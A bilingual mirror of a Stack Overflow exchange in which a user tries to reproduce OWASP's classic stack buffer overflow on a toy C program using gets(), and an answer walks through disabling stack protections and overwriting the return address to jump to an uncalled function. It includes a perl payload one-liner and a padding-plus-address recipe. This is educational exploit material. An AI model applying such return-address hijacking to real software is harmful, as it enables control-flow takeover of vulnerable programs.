简体   繁体   English

无法复制堆栈缓冲区溢出漏洞

[英]Trouble replicating a stack buffer overflow exploit

I am having trouble replicating the stack buffer overflow example given by OWASP here . 我在这里复制OWASP给出的堆栈缓冲区溢出示例时遇到问题。

Here is my attempt: 这是我的尝试:

$ cat test.c
  #include <stdio.h>
  #include <string.h>

  void doit(void)
  {
          char buf[8];

          gets(buf);
          printf("%s\n", buf);
  }

  int main(void)
  {
          printf("So... The End...\n");
          doit();
          printf("or... maybe not?\n");

          return 0;
  }



$ gcc test.c -o test -fno-stack-protection -ggdb

$ objdump -d test # omitted irrelevant parts i think
000000000040054c <doit>:
  40054c:       55                      push   %rbp
  40054d:       48 89 e5                mov    %rsp,%rbp
  400550:       48 83 ec 10             sub    $0x10,%rsp
  400554:       48 8d 45 f0             lea    -0x10(%rbp),%rax
  400558:       48 89 c7                mov    %rax,%rdi
  40055b:       e8 d0 fe ff ff          callq  400430 <gets@plt>
  400560:       48 8d 45 f0             lea    -0x10(%rbp),%rax
  400564:       48 89 c7                mov    %rax,%rdi
  400567:       e8 a4 fe ff ff          callq  400410 <puts@plt>
  40056c:       c9                      leaveq
  40056d:       c3                      retq

000000000040056e <main>:
  40056e:       55                      push   %rbp
  40056f:       48 89 e5                mov    %rsp,%rbp
  400572:       bf 4c 06 40 00          mov    $0x40064c,%edi
  400577:       e8 94 fe ff ff          callq  400410 <puts@plt>
  40057c:       e8 cb ff ff ff          callq  40054c <doit>
  400581:       bf 5d 06 40 00          mov    $0x40065d,%edi
  400586:       e8 85 fe ff ff          callq  400410 <puts@plt>
  40058b:       b8 00 00 00 00          mov    $0x0,%eax
  400590:       5d                      pop    %rbp
  400591:       c3                      retq # this is where i took my overflow value from
  400592:       90                      nop
  400593:       90                      nop
  400594:       90                      nop
  400595:       90                      nop
  400596:       90                      nop
  400597:       90                      nop
  400598:       90                      nop
  400599:       90                      nop
  40059a:       90                      nop
  40059b:       90                      nop
  40059c:       90                      nop
  40059d:       90                      nop
  40059e:       90                      nop
  40059f:       90                      nop

$ perl -e 'print "A"x12 ."\x91\x05\x40"' | ./test
So... The End...
AAAAAAAAAAAA▒@
or... maybe not? # this shouldn't be outputted

Why isn't this working? 为什么这不起作用? I'm assuming that the memory address that I am supposed to insert is the retq from <main> . 我假设应该插入的内存地址是<main>retq

My goal is to figure out how to do a stack buffer overflow that calls a function elsewhere in the program. 我的目标是弄清楚如何执行程序在其他地方调用函数的堆栈缓冲区溢出。 Any help is much appreciated. 任何帮助深表感谢。 :) :)

I'm using Windows & MSVC but you should get the idea. 我正在使用Windows和MSVC,但您应该明白这一点。

Consider the following code: 考虑以下代码:

#include <stdio.h>

void someFunc()
{
    puts("wow, we should never get here :|");
}

// MSVC inlines this otherwise
void __declspec(noinline) doit(void)
{
    char buf[8];

    gets(buf);
    printf("%s\n", buf);
}

int main(void)
{
    printf("So... The End...\n");
    doit();
    printf("or... maybe not?\n");

    return 0;
}

(Note: I had to compile it with /OPT:NOREF to force MSVC not to remove "unused" code and /GS- to turn off stack checks) (注意:我必须使用/OPT:NOREF进行编译,以强制MSVC不要删除“未使用的”代码,并强制使用/GS-关闭堆栈检查)

Now, let's open it in my favorite disassembler: 现在,让我们在我最喜欢的反汇编程序中打开它: 在此处输入图片说明

We'd like to exploit the gets vulnerability so the execution jumps to someFunc . 我们想利用gets漏洞,使执行跳至someFunc We can see that its address is 001D1000 , so if we can write enough bytes past the buffer to overwrite the return address, we'll be good. 我们可以看到它的地址是001D1000 ,因此,如果我们可以在缓冲区后写入足够的字节以覆盖返回地址,那将会很好。 Let's take a look at the stack when gets is called: 让我们看一下调用gets时的堆栈:

在此处输入图片说明

As we can see, there's 8 bytes of our stack allocated buffer ( buf ), 4 bytes of some stuff (actually the PUSH ed EBP), and the return address. 如我们所见,堆栈分配缓冲区( buf )有8个字节,一些东西(实际上是PUSH ed EBP)有4个字节,还有返回地址。 Thus, we need to write 12 bytes of whatever and then our 4 byte return address ( 001D1000 ) to "hijack" the execution flow. 因此,我们需要写入12个字节的内容,然后写入4个字节的返回地址( 001D1000 )以“劫持”执行流程。 Let's do just that - we'll prepare an input file with the bytes we need using a hex editor: 让我们开始吧-我们将使用十六进制编辑器准备一个包含所需字节的输入文件:

在此处输入图片说明

And indeed, when we run the program with that input, we get this: 确实,当我们使用该输入运行程序时,我们得到了:

在此处输入图片说明

After it prints that line, it will crash with an access violation since there was some garbage on the stack. 打印该行后,由于堆栈上有一些垃圾,它将因访问冲突而崩溃。 However, there's nothing stopping you from carefully analyzing the code and preparing such bytes in your input that the program will appear to function as normal (we could overwrite the next bytes with the address of ExitProcess , so that someFunc would jump there). 但是,没有什么可以阻止您仔细分析代码并准备输入内容中的字节,以使程序看起来可以正常运行(我们可以使用ExitProcess的地址覆盖下一个字节,以便someFunc跳到那里)。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM